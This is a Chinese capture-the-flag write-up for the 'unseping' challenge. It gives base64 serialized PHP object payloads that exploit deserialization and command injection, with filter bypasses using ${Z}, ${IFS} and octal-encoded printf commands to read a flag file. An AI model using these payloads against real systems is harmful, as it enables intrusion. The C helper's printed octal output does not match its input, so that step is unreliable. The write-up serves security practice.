攻防世界-unseping
进入环境
在获得的场景中发现PHP代码并进行分析
编写PHP编码
得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJwd2QiO319
将其传入
想执行ls,但是发现被过滤掉了
使用环境变量进行绕过
$a = new ease("ping",array('l${Z}s'));
运行得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo2OiJsJHtafXMiO319
再次传入参数
查到了flag_1s_here文件但是被过滤掉了,进行绕过
得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozMjoibCR7Wn1zJHtJRlN9ZiR7Wn1sYWdfMSR7Wn1zX2hlcmUiO319
进行上传
得到flag
flag_831b69012c67b35f.php
进行访问
发现没什么用
上代码
#include<stdio.h>
int main()
{char site[] = "cat flag_ls_here/flag_831b69012c67b35f.php";for (int i = 0; i < sizeof site / sizeof site[0]; i++){printf("\\%o", site[i]);}return 0;
}
运行得到
\143\141\164\040\146\154\141\147\137\154\163\137\150\145\162\145\057\146\154\141\147\055\067\060\061\142\065\147\060\061\062\143\066\067\060\063\065\066\056\160\150\160
构造payload
$a = new
ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
运行得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoxNjk6IiQocHJpbnRmJHtJRlN9IlwxNDNcMTQxXDE2NFw0MFwxNDZcMTU0XDE0MVwxNDdcMTM3XDYxXDE2M1wxMzdcMTUwXDE0NVwxNjJcMTQ1XDU3XDE0NlwxNTRcMTQxXDE0N1wxMzdcNzBcNjNcNjFcMTQyXDY2XDcxXDYwXDYxXDYyXDE0M1w2Nlw2N1wxNDJcNjNcNjVcMTQ2XDU2XDE2MFwxNTBcMTYwIikiO319
传入参数
得到最后的flag